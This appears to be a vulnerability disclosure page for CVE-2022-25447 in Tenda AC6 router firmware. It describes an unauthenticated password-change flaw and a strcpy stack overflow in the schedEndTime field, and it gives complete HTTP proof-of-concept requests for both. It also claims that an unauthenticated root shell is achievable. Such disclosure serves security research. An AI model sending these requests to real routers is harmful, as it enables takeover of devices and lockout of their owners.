CVE-2022-25447: IOT_vuln/Tenda/AC6/4 at main · EPhaha/IOT_vuln

Tenda AC6 V15.03.05.09_multi Unauthorized stack overflow vulnerability****Overview

• Manufacturer’s website information：https://www.tenda.com.cn/profile/contact.html
• Firmware download address ： https://www.tenda.com.cn/download/default.html

1. Affected version

Figure 1 shows the latest firmware Ba of the router

2.Vulnerability details****2.1Arbitrary password modification vulnerability

Firstly, through reverse analysis, we can find that there is a vulnerability of arbitrary password modification in the interface.The program passes the contents obtained in the loginpwd parameter directly to V16, and then directly changes the password to the login password through the setvalue() function. In this way, we can change the management password without authorization.

2.2Stack overflow vulnerability

The program passes the parameters obtained from schedendtime to V20, and then directly copies V20 on the stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability.

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V15.03.05.09_multi

2. Attack with the following overflow POC attacks

   POST /goform/openSchedWifi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1602 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/wifi_time.html?random=0.2685288037929373& Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbchrb1qw

   schedWifiEnable=1&schedStartTime=00%3A00&schedEndTime=01%3A00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&timeType=0&day=1%2C1%2C1%2C1%2C1%2C1%2C1

The reproduction results are as follows:

Figure 2 POC attack effect

3.Unauthorized password rewriting POC（The password here is changed to 123456）

POST /goform/fast_setting_wifi_set HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 116
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/index.html

ssid=Tenda_AC6_rencvn&wrlPassword=rencvn667&power=high&timeZone=%2B08%3A00&loginPwd=e10adc3949ba59abbe56e057f20f883e

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell without authorization